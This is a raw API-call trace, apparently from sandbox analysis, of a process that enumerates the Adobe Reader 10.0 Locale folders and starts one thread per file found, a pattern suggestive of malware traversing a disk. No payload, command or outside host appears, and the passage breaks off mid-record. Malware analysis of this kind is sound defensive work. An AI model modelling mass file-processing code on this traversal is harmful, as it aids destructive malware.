[0240.805] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.805] wcscat (in: _Dest=0x1b7adac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.805] wcscat (in: _Dest=0x1b7adac0, _Source="RdLang32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" [0240.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d00 [0240.807] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="READOU~1.CAT")) returned 1 [0240.807] wcscmp (_String1="ReadOutLoud.CAT", _String2=".") returned 1 [0240.807] wcscmp (_String1="ReadOutLoud.CAT", _String2="..") returned 1 [0240.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cec1260 [0240.807] wcscpy (in: _Dest=0x1cec1260, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.807] wcscat (in: _Dest=0x1cec1260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.807] wcscat (in: _Dest=0x1cec1260, _Source="ReadOutLoud.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" [0240.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cec1260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c40 [0240.809] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0240.809] wcscmp (_String1="reflow.CAT", _String2=".") returned 1 [0240.809] wcscmp (_String1="reflow.CAT", _String2="..") returned 1 [0240.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ae420 [0240.809] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.809] wcscat (in: _Dest=0x1b7ae420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.809] wcscat (in: _Dest=0x1b7ae420, _Source="reflow.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" [0240.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c20 [0240.810] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="SAVEAS~1.CAT")) returned 1 [0240.810] wcscmp (_String1="SaveAsRTF.CAT", _String2=".") returned 1 [0240.810] wcscmp (_String1="SaveAsRTF.CAT", _String2="..") returned 1 [0240.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431cc200 [0240.810] wcscpy (in: _Dest=0x431cc200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.810] wcscat (in: _Dest=0x431cc200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.810] wcscat (in: _Dest=0x431cc200, _Source="SaveAsRTF.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" [0240.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dd4 [0240.811] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0240.811] wcscmp (_String1="Search.CAT", _String2=".") returned 1 [0240.811] wcscmp (_String1="Search.CAT", _String2="..") returned 1 [0240.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431cc160 [0240.811] wcscpy (in: _Dest=0x431cc160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.812] wcscat (in: _Dest=0x431cc160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.812] wcscat (in: _Dest=0x431cc160, _Source="Search.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" [0240.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e60 [0240.813] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0240.813] wcscmp (_String1="SendMail.CAT", _String2=".") returned 1 [0240.813] wcscmp (_String1="SendMail.CAT", _String2="..") returned 1 [0240.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431cc0c0 [0240.813] wcscpy (in: _Dest=0x431cc0c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.813] wcscat (in: _Dest=0x431cc0c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.813] wcscat (in: _Dest=0x431cc0c0, _Source="SendMail.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" [0240.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e58 [0240.814] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0240.814] wcscmp (_String1="Services", _String2=".") returned 1 [0240.814] wcscmp (_String1="Services", _String2="..") returned 1 [0240.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431cb8a0 [0240.815] wcscpy (in: _Dest=0x431cb8a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.815] wcscat (in: _Dest=0x431cb8a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.815] wcscat (in: _Dest=0x431cb8a0, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" [0240.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431cb8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b44 [0240.815] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0240.815] wcscmp (_String1="Spelling.CAT", _String2=".") returned 1 [0240.815] wcscmp (_String1="Spelling.CAT", _String2="..") returned 1 [0240.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431cb9e0 [0240.816] wcscpy (in: _Dest=0x431cb9e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.816] wcscat (in: _Dest=0x431cb9e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.816] wcscat (in: _Dest=0x431cb9e0, _Source="Spelling.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" [0240.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cb9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c64 [0240.816] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0240.817] wcscmp (_String1="updater.CAT", _String2=".") returned 1 [0240.817] wcscmp (_String1="updater.CAT", _String2="..") returned 1 [0240.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431cc2a0 [0240.818] wcscpy (in: _Dest=0x431cc2a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.818] wcscat (in: _Dest=0x431cc2a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.818] wcscat (in: _Dest=0x431cc2a0, _Source="updater.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" [0240.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e24 [0240.819] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0240.819] wcscmp (_String1="WebLink.CAT", _String2=".") returned 1 [0240.819] wcscmp (_String1="WebLink.CAT", _String2="..") returned 1 [0240.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431cc340 [0240.819] wcscpy (in: _Dest=0x431cc340, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0240.819] wcscat (in: _Dest=0x431cc340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0240.819] wcscat (in: _Dest=0x431cc340, _Source="WebLink.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" [0240.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431cc340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0c [0240.820] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0 [0240.820] FindClose (in: hFindFile=0x1cd9c430 | out: hFindFile=0x1cd9c430) returned 1 [0240.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b8e0) returned 1 [0240.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c120) returned 1 [0240.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c2b0) returned 1 [0240.822] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0240.822] wcscmp (_String1="cs_CZ", _String2=".") returned 1 [0240.822] wcscmp (_String1="cs_CZ", _String2="..") returned 1 [0240.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c2b0 [0240.823] wcscpy (in: _Dest=0x1cf4c2b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.823] wcscat (in: _Dest=0x1cf4c2b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.823] wcscat (in: _Dest=0x1cf4c2b0, _Source="cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0240.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4c2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2570 [0240.823] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0240.823] wcscmp (_String1="da_DK", _String2=".") returned 1 [0240.823] wcscmp (_String1="da_DK", _String2="..") returned 1 [0240.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4b890 [0240.824] wcscpy (in: _Dest=0x1cf4b890, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.824] wcscat (in: _Dest=0x1cf4b890, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.824] wcscat (in: _Dest=0x1cf4b890, _Source="da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0240.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4b890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e14 [0240.824] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0240.824] wcscmp (_String1="de_DE", _String2=".") returned 1 [0240.824] wcscmp (_String1="de_DE", _String2="..") returned 1 [0240.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c3d0 [0240.825] wcscpy (in: _Dest=0x1cf4c3d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.825] wcscat (in: _Dest=0x1cf4c3d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.825] wcscat (in: _Dest=0x1cf4c3d0, _Source="de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202af220 [0240.825] wcscpy (in: _Dest=0x202af220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.825] wcscat (in: _Dest=0x202af220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.825] wcscat (in: _Dest=0x202af220, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*" [0240.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0240.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0240.829] wcscmp (_String1=".", _String2=".") returned 0 [0240.829] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.829] wcscmp (_String1="..", _String2=".") returned 1 [0240.829] wcscmp (_String1="..", _String2="..") returned 0 [0240.829] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, 